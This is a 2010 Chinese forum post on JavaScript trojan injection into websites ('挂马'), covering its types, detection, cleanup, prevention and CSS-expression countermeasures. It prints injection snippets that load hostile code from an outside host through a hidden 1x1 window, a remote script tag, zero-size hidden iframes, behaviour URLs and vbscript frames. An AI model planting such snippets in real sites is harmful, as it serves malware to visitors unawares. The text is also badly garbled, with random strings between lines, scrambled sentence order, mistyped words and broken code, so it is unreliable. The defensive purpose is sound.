搜索
查看: 11946|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

2 X: g' C; D/ W1 X- w0 G

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

0 Y8 H% [& p; P, B' u

IFRAME 和 JS 脚本挂马。

8 G$ N, b$ d* b% t9 X' L- s

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

3 g" O( u. n7 p% O

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

+ x W8 u) N; A {, l9 n% z/ c

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

3 b+ Q6 z0 U8 i3 {: Z

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

: T; h. s1 R$ G- K8 H+ g

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

* Y" T8 w' r4 F

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

; b9 u8 t+ _6 ~ Z" r7 P" R5 Q

。一千多位会员的 ID

) s3 w% d" F0 N

2: 如何检测网页是否被挂马。

! l0 \$ v' U! l# W1 D

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

6 J0 R) v" i: U

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

' {; E; |2 f! ~+ d

因素。
2 googl 检测。>

X, C+ v6 X7 l5 E3 v9 H

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

2 B3 J; M# s( @4 a

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

6 ]6 n: x1 _; P( O

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

4 w$ X( h |3 D8 K1 x

8 x/ d! w8 X0 a! `$ s

3: 如何清除网页木马。

$ A0 K3 Z: Q2 y7 d9 h

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

0 I6 \$ o; h7 ]! N; R1 p

入源文件把相关的网页挂马种类的可疑代码删除。

2 l; J2 m7 e# m {

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

4 A8 l. P# x% g' c

悉。>

, o8 G6 K* h$ j- z e4 u2 E# f3 V$ f

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

# Z% S& L2 }$ p( N

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

( m, m0 H( g+ \6 y

2 保证你所使用的顺序及时的更新。

* M7 n. X' S6 Y' s

3 不要在前台网页上加注后台管理程序登陆页面的链接。

) n5 R2 @/ S" U1 _+ J. b- B5 i

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

J$ n% L% ?7 a# T" ~1 }$ _/ P

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

1 ^3 X. W* t4 @) p1 `

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

6 a' a! S% h+ m% F0 L9 Z, g

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

" T5 q: U: e7 ]7 Z

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

) f" l: d7 Q% `# E7 M4 S

! |+ a0 L, e* p* T1 v7 I

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

# E2 d0 }7 K8 M

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

3 `( \# D% t1 M& Y' C! V" Q) W- _

JS 挂马溯源

2 b& y) c, K. l ^' Y3 W! h9 v+ x

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

. V( q2 j+ ~) H& ^+ E9 Q; `8 T

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

$ i9 M! q* ?, Y/ e' d4 J& D

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

0 }7 o, h6 |+ I$ a5 U

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

6 G, j0 Y) X, G; `1 q+ {/ ?7 W5 Y

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

3 s- T9 b& A$ o& B' Y, B

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

" _% I$ d4 f7 t; F4 m1 v

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

) k* e2 s: q" e! ]; V7 q6 @

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

. l$ i( ~8 }/ e: m9 C

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

, ~% `; {1 u! U$ c+ |4 S

脚本在工作中会有很大的协助。

' b) E- }: d( h0 y1 H9 s

挂马原理一点通

0 p2 M2 y' p" j0 z4 e. u

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

D3 p4 C% ^0 O% q

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

4 _) a' [" L7 H N3 ]

无从区分木马在何处。

3 t2 s2 S8 e! V0 v

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

6 H) q- b6 O' Y! ~* N

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

" e# y) z7 w5 ~) p# u

容易蒙混过关,导致木马久杀不绝。

5 \/ F- T! y! c; x( O* }: z

JS 挂马攻防实录

3 m- s2 ^3 L, K7 q

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

* Z6 y5 C; p% b

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

3 o, c, w0 z2 P. V, S! U: K6 j

这种方法使用的关键代码如下:

# E( S- ~# T/ u+ t, [+ H1 D

"",  window.open "http://www.v404.cn/ 木马

$ h/ F" L/ C. N% [8 s2 p

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

# }( U% `- r3 V9 X* e

( v i: y: v2 @+ h6 V

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

8 j! B3 n$ {+ D7 x# R6 v

但是设置为 0 后,可能会出现恶意代码不运行的情况。

. {0 y( }1 B6 E# U

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

& b. u6 `8 D! [

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

6 E' S& ^' l) ?3 d) H

5 i2 b/ X1 O0 `0 M# v

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

0 S+ k' N- D0 D" t7 e" E' \

# \4 m4 M& W4 ]9 E' _

或者

: N K. n6 x7 `0 Y! q+ C

document.writ "<div style='display:none'>"

}0 K- ]) {2 z0 ^2 s+ J0 Y0 ] X/ G }

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

2 }$ D5 `' c1 Y

document.writ "</div>"
 

8 _ |5 N. ^ g7 l

& |1 \; i+ J# e" Q6 `$ E

就成功地将木马挂到对方的网页中了

4 v, Q. u- [$ F+ v: t" J j; H$ V

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

|4 u! b. i) U1 y9 U

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

. j" [: u5 F; W D) ]7 o( ]

或者:

7 w# ~1 q. @4 s! ^4 y% z

<ifram src="vbscript:[ 挂马脚本 ]">

( e1 P5 ?, g% y4 z

! N. l: s% c8 y, T6 a


等等 …

/ M1 v L/ o/ A! {* x+ t$ L* {

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

0 b! X7 M* J: Q0 J9 V

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

- v6 a! ?1 j7 z1 z4 ]3 A

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

" |7 f. V& n; D# B j

;}

( t& A+ V# D- |) a

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

4 Z! R& |# S: u+ `: Q4 p" @" `

( _' y0 H+ [* o+ o' x7 M

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

; C4 o. S' K/ R$ u3 }1 s

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

/ h4 B* J& a6 K: Q/ O0 \

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

* W I, h9 K( q, E! n

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

2 i$ [% a4 K% c% r7 k6 ~

<title> 让 JS 挂马中止的 CSS 代码 </title>

; s7 P9 T0 a6 P* b$ ~

<styl type="text/css" id="shudoo">

w' ^/ s! R3 H* Z h

/*<![CDATA[*/

B Y- F% K0 l' o

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

9 r$ Y$ L/ k: s, _. O; v

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

C* z; s/ C" @. e* y

/*]]>*/

1 i$ ]% q* n# \+ T8 Q6 U

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表